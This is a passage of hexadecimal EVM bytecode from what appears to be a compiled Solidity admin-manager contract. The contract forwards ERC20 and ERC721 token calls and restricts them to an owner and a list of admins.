ffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561098857600080fd5b82018360208201111561099a57600080fd5b803590602001918460018302840111640100000000831117156109bc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506128f0565b005b348015610a1c57600080fd5b50610aa960048036036080811015610a3357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612bb0565b005b348015610ab757600080fd5b50610afa60048036036020811015610ace57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e02565b005b348015610b0857600080fd5b50610b11612fd0565b005b610b5f60048036036040811015610b2957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613109565b005b348015610b6d57600080fd5b50610bfa60048036036080811015610b8457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506132f7565b005b348015610c0857600080fd5b50610c5560048036036040811015610c1f57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613549565b005b348015610c6357600080fd5b50610c6c613736565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cba57600080fd5b50610cc361375f565b604051808215151515815260200191505060405180910390f35b348015610ce957600080fd5b50610d5660048036036060811015610d0057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506137bd565b005b348015610d6457600080fd5b50610dd160048036036060811015610d7b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061396d565b005b348015610ddf57600080fd5b50610e4c60048036036060811015610df657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613b1d565b005b610ea460048036036060811015610e6457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613d3a565b005b348015610eb257600080fd5b50610f1f60048036036060811015610ec957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613f31565b005b348015610f2d57600080fd5b50610f7060048036036020811015610f4457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506140e1565b005b348015610f7e57600080fd5b50610fc160048036036020811015610f9557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614167565b005b348015610fcf57600080fd5b5061101260048036036020811015610fe657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614340565b604051808215151515815260200191505060405180910390f35b34801561103857600080fd5b5061111c6004803603606081101561104f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561108c57600080fd5b82018360208201111561109e57600080fd5b803590602001918460018302840111640100000000831117156110c057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506143e2565b005b34801561112a57600080fd5b506111a16004803603608081101561114157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614639565b005b60008490508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b50505050600260100160405180828054600181600116156101000203166002900480156112db5780601f106112b95761010080835404028352918201916112db565b820191906000526020600020905b8154815290600101906020018083116112c7575b505091505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a45050505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a457c2d784846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b505050506002601201604051808280546001816001161561010002031660029004801561148c5780601f1061146a57610100808354040283529182019161148c565b820191906000526020600020905b815481529060010190602001808311611478575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b6001818154811061154557fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600063150b7a0260e01b9050949350505050565b61159061375f565b611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b600180549050811015611765578173ffffffffffffffffffffffffffffffffffffffff166001828154811061163957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611758576001818154811061168d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600180808054905003815481106116cb57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600180548061171e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611765565b8080600101915050611608565b507fa0726c73cf6ad18ddb855ba65d1ddd4d7fd37d320f4e52f6b154c13d386f5fd98142604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663179443f383836040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561187d57600080fd5b505af1158015611891573d6000803e3d6000fd5b505050506002600b0160405180828054600181600116156101000203166002900480156118f55780601f106118d35761010080835404028352918201916118f5565b820191906000526020600020905b8154815290600101906020018083116118e1575b50509150506040518091039020601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8486604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a45050565b6119ca33614340565b806119d957506119d861375f565b5b611a2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b600083905060026000016040518082805460018160011615610100020316600290048015611a935780601f10611a71576101008083540402835291820191611a93565b820191906000526020600020905b815481529060010190602001808311611a7f575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8786604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff1663095ea7b384846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611bc057600080fd5b505af1158015611bd4573d6000803e3d6000fd5b5050505050505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663d73dd62384846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611c6a57600080fd5b505af1158015611c7e573d6000803e3d6000fd5b505050506002600e016040518082805460018160011615610100020316600290048015611ce25780601f10611cc0576101008083540402835291820191611ce2565b820191906000526020600020905b815481529060010190602001808311611cce575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166322b4aa37888888888888886040518863ffffffff1660e01b8152600401808881526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001975050505050505050600060405180830381600087803b158015611e8b57600080fd5b505af1158015611e9f573d6000803e3d6000fd5b5050505060026006016040518082805460018160011615610100020316600290048015611f035780601f10611ee1576101008083540402835291820191611f03565b820191906000526020600020905b815481529060010190602001808311611eef575b50509150506040518091039020601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac858b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561205857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161200e575b5050505050905090565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156120ee57600080fd5b505af1158015612102573d6000803e3d6000fd5b505050506002600f0160405180828054600181600116156101000203166002900480156121665780601f10612144576101008083540402835291820191612166565b820191906000526020600020905b815481529060010190602001808311612152575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b61221a61375f565b61228c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50565b6122de33614340565b806122ed57506122ec61375f565b5b612342576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b600082905060608173ffffffffffffffffffffffffffffffffffffffff1663c87b56dd846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561239c57600080fd5b505af11580156123b0573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156123da57600080fd5b81019080805160405193929190846401000000008211156123fa57600080fd5b8382019150602082018581111561241057600080fd5b825186600182028301116401000000008211171561242d57600080fd5b8083526020830192505050908051906020019080838360005b83811015612461578082015181840152602081019050612446565b50505050905090810190601f16801561248e5780820380516001836020036101000a031916815260200191505b5060405250505090503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1663081812fc856040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561250157600080fd5b505af1158015612515573d6000803e3d6000fd5b505050506040513d602081101561252b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16146125c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f546f6b656e206e6f74206170706f726f766520666f72206275726e000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166342966c68846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561261857600080fd5b505af115801561262c573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16838573ffffffffffffffffffffffffffffffffffffffff167f926b248e45dfdd4c4caec216e73ec503ce2522d3b5646c861d1b074210675d0e42856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156126c85780820151818401526020810190506126ad565b50505050905090810190601f1680156126f55780820380516001836020036101000a031916815260200191505b50935050505060405180910390a450505050565b61271233614340565b80612721575061272061375f565b5b612776576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b60008290506002800160405180828054600181600116156101000203166002900480156127da5780601f106127b85761010080835404028352918201916127da565b820191906000526020600020905b8154815290600101906020018083116127c6575b505091505060405180910390208373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff166342966c68836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156128d357600080fd5b505af11580156128e7573d6000803e3d6000fd5b50505050505050565b6128f933614340565b80612908575061290761375f565b5b61295d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b6000859050600260040160405180828054600181600116156101000203166002900480156129c25780601f106129a05761010080835404028352918201916129c2565b820191906000526020600020905b8154815290600101906020018083116129ae575b505091505060405180910390208673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8987604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff1663b88d4fde868686866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612b41578082015181840152602081019050612b26565b50505050905090810190601f168015612b6e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612b9057600080fd5b505af1158015612ba4573d6000803e3d6000fd5b50505050505050505050565b612bb933614340565b80612bc85750612bc761375f565b5b612c1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b600084905060026004016040518082805460018160011615610100020316600290048015612c825780601f10612c60576101008083540402835291820191612c82565b820191906000526020600020905b815481529060010190602001808311612c6e575b505091505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8886604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff166342842e0e8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015612de357600080fd5b505af1158015612df7573d6000803e3d6000fd5b505050505050505050565b612e0a61375f565b612e7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612e8581614340565b612ef45760018190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050612f62565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f61646d696e20616c726561647920696e206c697374000000000000000000000081525060200191505060405180910390fd5b7f723c2b747529ca7f5eb53a74808f4a8b9bf264f0fc450fd904900151da74548a8142604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b612fd861375f565b61304a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637deb60253484846040518463ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506000604051808303818588803b1580156131b257600080fd5b505af11580156131c6573d6000803e3d6000fd5b50505050506002600701604051808280546001816001161561010002031660029004801561322b5780601f1061320957610100808354040283529182019161322b565b820191906000526020600020905b815481529060010190602001808311613217575b50509150506040518091039020601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8486604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a45050565b61330033614340565b8061330f575061330e61375f565b5b613364576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b6000849050600260050160405180828054600181600116156101000203166002900480156133c95780601f106133a75761010080835404028352918201916133c9565b820191906000526020600020905b8154815290600101906020018083116133b5575b505091505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8886604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561352a57600080fd5b505af115801561353e573d6000803e3d6000fd5b505050505050505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d3c100a83836040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156135f257600080fd5b505af1158015613606573d6000803e3d6000fd5b505050506002600901604051808280546001816001161561010002031660029004801561366a5780601f1061364857610100808354040283529182019161366a565b820191906000526020600020905b815481529060010190602001808311613656575b50509150506040518091039020601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8486604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a45050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166137a1614864565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b60008390508073ffffffffffffffffffffffffffffffffffffffff16633950935184846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561384957600080fd5b505af115801561385d573d6000803e3d6000fd5b50505050600260110160405180828054600181600116156101000203166002900480156138c15780601f1061389f5761010080835404028352918201916138c1565b820191906000526020600020905b8154815290600101906020018083116138ad575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b384846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156139f957600080fd5b505af1158015613a0d573d6000803e3d6000fd5b505050506002600c016040518082805460018160011615610100020316600290048015613a715780601f10613a4f576101008083540402835291820191613a71565b820191906000526020600020905b815481529060010190602001808311613a5d575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b613b2633614340565b80613b355750613b3461375f565b5b613b8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b600083905060026001016040518082805460018160011615610100020316600290048015613bef5780601f10613bcd576101008083540402835291820191613bef565b820191906000526020600020905b815481529060010190602001808311613bdb575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8786604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613d1c57600080fd5b505af1158015613d30573d6000803e3d6000fd5b5050505050505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0f4ed31348585856040518563ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506000604051808303818588803b158015613deb57600080fd5b505af1158015613dff573d6000803e3d6000fd5b505050505060026008016040518082805460018160011615610100020316600290048015613e645780601f10613e42576101008083540402835291820191613e64565b820191906000526020600020905b815481529060010190602001808311613e50575b50509150506040518091039020601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8587604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a4505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff16636618846384846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613fbd57600080fd5b505af1158015613fd1573d6000803e3d6000fd5b50505050600260120160405180828054600181600116156101000203166002900480156140355780601f10614013576101008083540402835291820191614035565b820191906000526020600020905b815481529060010190602001808311614021575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b6140e961375f565b61415b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6141648161486c565b50565b61416f61375f565b6141e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561428057600080fd5b505afa158015614294573d6000803e3d6000fd5b505050506040513d60208110156142aa57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561432457600080fd5b505af1158015614338573d6000803e3d6000fd5b505050505050565b600080600090505b6001805490508110156143d7576001818154811061436257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156143ca5760019150506143dd565b8080600101915050614348565b50600090505b919050565b6143eb33614340565b806143fa57506143f961375f565b5b61444f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806149d76023913960400191505060405180910390fd5b6000839050600260030160405180828054600181600116156101000203166002900480156144b45780601f106144925761010080835404028352918201916144b4565b820191906000526020600020905b8154815290600101906020018083116144a0575b505091505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac876000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a48073ffffffffffffffffffffffffffffffffffffffff1663056b01ce84846040518363ffffffff1660e01b81526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b838110156145ce5780820151818401526020810190506145b3565b50505050905090810190601f1680156145fb5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b15801561461b57600080fd5b505af115801561462f573d6000803e3d6000fd5b5050505050505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ff8edbdb858585856040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001945050505050600060405180830381600087803b15801561471e57600080fd5b505af1158015614732573d6000803e3d6000fd5b505050506002600a0160405180828054600181600116156101000203166002900480156147965780601f10614774576101008083540402835291820191614796565b820191906000526020600020905b815481529060010190602001808311614782575b50509150506040518091039020601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f32a9eeb55ea56eb60badfb6642d5b92be35b6da6f74892c12d0e14a50dfc2bac8688604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a450505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156148f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806149b16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737341646d696e4d616e616765723a2061646d696e20616e64206f776e6572206f6e6c792ea265627a7a72315820275dba